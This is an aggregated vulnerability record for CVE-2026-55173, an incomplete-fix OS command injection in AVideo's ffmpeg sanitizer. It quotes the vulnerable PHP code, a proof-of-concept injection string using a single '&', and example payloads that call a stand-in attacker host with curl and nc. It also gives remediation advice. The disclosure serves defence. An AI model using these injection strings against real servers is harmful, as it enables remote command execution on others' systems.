{"id":"CVE-2026-55173","aliases":["EUVD-2026-45040","GHSA-wc3f-xc32-435f"],"status":"published","title":"AVideo incomplete fix for CVE-2026-33482: sanitizeFFmpegCommand still allows a single '\u0026' (background operator), giving OS command execution at the same execAsync sh -c sink","description":"WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single \u0026 ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \\n, \\r to the denylist character class and a str_replace('\u0026\u0026', '', ...), but did not account for the single \u0026. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple \u0026-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the \u003e strip, but command execution (e.g. \u0026 curl http://attacker/..., \u0026 nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.02678,"percentile":0.8593,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-78"],"published":"2026-06-23T17:42:17Z","modified":"2026-11-11T02:49:01Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/advisories/GHSA-wc3f-xc32-435f"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55173.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55173","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-55173","title":"AVideo incomplete fix for CVE-2026-33482: sanitizeFFmpegCommand still allows a single '\u0026' (background operator), giving OS command execution at the same execAsync sh -c sink","description":"WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single \u0026 ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \\n, \\r to the denylist character class and a str_replace('\u0026\u0026', '', ...), but did not account for the single \u0026. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple \u0026-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the \u003e strip, but command execution (e.g. \u0026 curl http://attacker/..., \u0026 nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.","status":"published","published":"2026-07-16T20:41:26.345Z","modified":"2026-07-17T13:44:36.168Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:20:12.260247Z"}],"euvd":[{"id":"EUVD-2026-45040","description":"WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single \u0026 ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \\n, \\r to the denylist character class and a str_replace('\u0026\u0026', '', ...), but did not account for the single \u0026. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple \u0026-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the \u003e strip, but command execution (e.g. \u0026 curl http://attacker/..., \u0026 nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.","status":"published","published":"2026-07-16T20:41:26Z","modified":"2026-07-17T13:44:36Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:19:50.846094Z"}],"ghsa":[{"id":"GHSA-wc3f-xc32-435f","title":"AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '\u0026' (background operator), giving OS command execution at the same execAsync sh -c sink","description":"### Summary\n\nThe fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that `sanitizeFFmpegCommand()` (`plugin/API/standAlone/functions.php`) failed to strip `$(...)` command substitution, allowing OS command injection at the `execAsync()` `sh -c` sink. The fix (commit `25c8ab90`) added `$`, `(`, `)`, `{`, `}`, `\\n`, `\\r` to the denylist character class and a `str_replace('\u0026\u0026', '', ...)`. It still does **not** neutralize a single `\u0026` (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original — only the surviving metacharacter differs.\n\nVerified at master HEAD.\n\n### The surviving gap\n\nHEAD `sanitizeFFmpegCommand` (`functions.php`):\n```php\n$command = str_replace('\u0026\u0026', '', $command);                    // only the doubled form\n$command = preg_replace('/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/', '', $command);  // strips '\u0026' only when followed by '\u003e'\n$command = preg_replace('/[;|`\u003c\u003e$()\\n\\r{}]/', '', $command);   // char class has no '\u0026'\n// then requires the result to start with 'ffmpeg'\n```\nA single `\u0026` is therefore preserved. `ffmpeg ... \u0026 \u003ccmd\u003e` passes the sanitizer and the `strpos(trim($command),'ffmpeg')===0` prefix gate.\n\n### Sink (unchanged)\n\n`plugin/API/standAlone/ffmpeg.json.php:418` -\u003e `execAsync($ffmpegCommand, $keyword)`. In `objects/functionsExec.php::execAsync`:\n```php\n$command = addcslashes($command, '\"');   // line 686 — escapes only the double-quote\n$commandWithKeyword = \"nohup sh -c \\\"$command \u0026 echo \\\\$! \u003e /tmp/$keyword.pid\\\" \u003e /dev/null 2\u003e\u00261 \u0026\";  // line 705\nexec($commandWithKeyword, ...);          // line 712 — PHP exec() runs via /bin/sh -c\n```\nThe sanitized command is embedded inside an inner `sh -c \"...\"`. A bare `\u0026` in `$command` separates commands for that inner shell, so the injected command executes. `addcslashes` escaping only `\"` does not stop `\u0026`.\n\n### Reachability\n\n`ffmpeg.json.php` builds the command from `_decryptString(getInput('codeToExecEncrypted'))`. This is the **same** threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (`AV:N/AC:H/PR:N`).\n\n### Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)\n\nByte-faithful PHP harness: `sanitizeFFmpegCommand` copied verbatim from HEAD + the `execAsync` `sh -c` wrapping copied from `functionsExec.php`:\n```\nattacker input : ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo done out.mp4\nafter sanitize : ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo done out.mp4\nampersand survived : YES   passes prefix : YES\nfinal sh -c string:\n  nohup sh -c \"ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo $! \u003e /tmp/testkw.pid\" \u003e /dev/null 2\u003e\u00261 \u0026\n\u003e\u003e injected touch executed: YES (/tmp/avideo_amp_rce_proof)\n```\nThe sanitizer leaves `\u0026` intact and the injected `touch` runs at the sink.\n\n### Impact\n\nArbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple `\u0026`-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the `\u003e` strip, but command execution (e.g. `\u0026 curl http://attacker/...`, `\u0026 nc ...`, dropping/running a file) is not.\n\n### Remediation\n\nStop applying a metacharacter denylist to a `sh -c` sink. Build the ffmpeg invocation as an argv array with `escapeshellarg()` per token (the project already uses `escapeshellarg()` at 137 sites) instead of interpolating `$command` into `sh -c \"...\"`. If the denylist is kept as defense-in-depth, add `\u0026` to the stripped set — but the denylist approach has now missed two metacharacters in a row (`$()` then `\u0026`).","status":"published","published":"2026-06-23T17:42:17Z","modified":"2026-06-23T17:42:18Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:40:32.744157Z"}],"nvd":[{"id":"CVE-2026-55173","description":"WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single \u0026 ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \\n, \\r to the denylist character class and a str_replace('\u0026\u0026', '', ...), but did not account for the single \u0026. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple \u0026-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the \u003e strip, but command execution (e.g. \u0026 curl http://attacker/..., \u0026 nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.","status":"published","published":"2026-07-16T21:17:21.483Z","modified":"2026-10-24T20:10:00.137Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:30.250437Z"}],"osv":[{"id":"CVE-2026-55173","title":"AVideo incomplete fix for CVE-2026-33482: sanitizeFFmpegCommand still allows a single '\u0026' (background operator), giving OS command execution at the same execAsync sh -c sink","description":"WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single \u0026 ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \\n, \\r to the denylist character class and a str_replace('\u0026\u0026', '', ...), but did not account for the single \u0026. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple \u0026-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the \u003e strip, but command execution (e.g. \u0026 curl http://attacker/..., \u0026 nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.","status":"published","published":"2026-07-16T20:41:26.345Z","modified":"2026-11-11T02:49:01.524621005Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-11T03:21:28.618498Z"},{"id":"GHSA-wc3f-xc32-435f","title":"AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '\u0026' (background operator), giving OS command execution at the same execAsync sh -c sink","description":"### Summary\n\nThe fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that `sanitizeFFmpegCommand()` (`plugin/API/standAlone/functions.php`) failed to strip `$(...)` command substitution, allowing OS command injection at the `execAsync()` `sh -c` sink. The fix (commit `25c8ab90`) added `$`, `(`, `)`, `{`, `}`, `\\n`, `\\r` to the denylist character class and a `str_replace('\u0026\u0026', '', ...)`. It still does **not** neutralize a single `\u0026` (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original — only the surviving metacharacter differs.\n\nVerified at master HEAD.\n\n### The surviving gap\n\nHEAD `sanitizeFFmpegCommand` (`functions.php`):\n```php\n$command = str_replace('\u0026\u0026', '', $command);                    // only the doubled form\n$command = preg_replace('/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/', '', $command);  // strips '\u0026' only when followed by '\u003e'\n$command = preg_replace('/[;|`\u003c\u003e$()\\n\\r{}]/', '', $command);   // char class has no '\u0026'\n// then requires the result to start with 'ffmpeg'\n```\nA single `\u0026` is therefore preserved. `ffmpeg ... \u0026 \u003ccmd\u003e` passes the sanitizer and the `strpos(trim($command),'ffmpeg')===0` prefix gate.\n\n### Sink (unchanged)\n\n`plugin/API/standAlone/ffmpeg.json.php:418` -\u003e `execAsync($ffmpegCommand, $keyword)`. In `objects/functionsExec.php::execAsync`:\n```php\n$command = addcslashes($command, '\"');   // line 686 — escapes only the double-quote\n$commandWithKeyword = \"nohup sh -c \\\"$command \u0026 echo \\\\$! \u003e /tmp/$keyword.pid\\\" \u003e /dev/null 2\u003e\u00261 \u0026\";  // line 705\nexec($commandWithKeyword, ...);          // line 712 — PHP exec() runs via /bin/sh -c\n```\nThe sanitized command is embedded inside an inner `sh -c \"...\"`. A bare `\u0026` in `$command` separates commands for that inner shell, so the injected command executes. `addcslashes` escaping only `\"` does not stop `\u0026`.\n\n### Reachability\n\n`ffmpeg.json.php` builds the command from `_decryptString(getInput('codeToExecEncrypted'))`. This is the **same** threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (`AV:N/AC:H/PR:N`).\n\n### Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)\n\nByte-faithful PHP harness: `sanitizeFFmpegCommand` copied verbatim from HEAD + the `execAsync` `sh -c` wrapping copied from `functionsExec.php`:\n```\nattacker input : ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo done out.mp4\nafter sanitize : ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo done out.mp4\nampersand survived : YES   passes prefix : YES\nfinal sh -c string:\n  nohup sh -c \"ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo $! \u003e /tmp/testkw.pid\" \u003e /dev/null 2\u003e\u00261 \u0026\n\u003e\u003e injected touch executed: YES (/tmp/avideo_amp_rce_proof)\n```\nThe sanitizer leaves `\u0026` intact and the injected `touch` runs at the sink.\n\n### Impact\n\nArbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple `\u0026`-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the `\u003e` strip, but command execution (e.g. `\u0026 curl http://attacker/...`, `\u0026 nc ...`, dropping/running a file) is not.\n\n### Remediation\n\nStop applying a metacharacter denylist to a `sh -c` sink. Build the ffmpeg invocation as an argv array with `escapeshellarg()` per token (the project already uses `escapeshellarg()` at 137 sites) instead of interpolating `$command` into `sh -c \"...\"`. If the denylist is kept as defense-in-depth, add `\u0026` to the stripped set — but the denylist approach has now missed two metacharacters in a row (`$()` then `\u0026`).","status":"published","published":"2026-06-23T17:42:17Z","modified":"2026-09-10T03:50:50.810710022Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:58.401149Z"}]}}
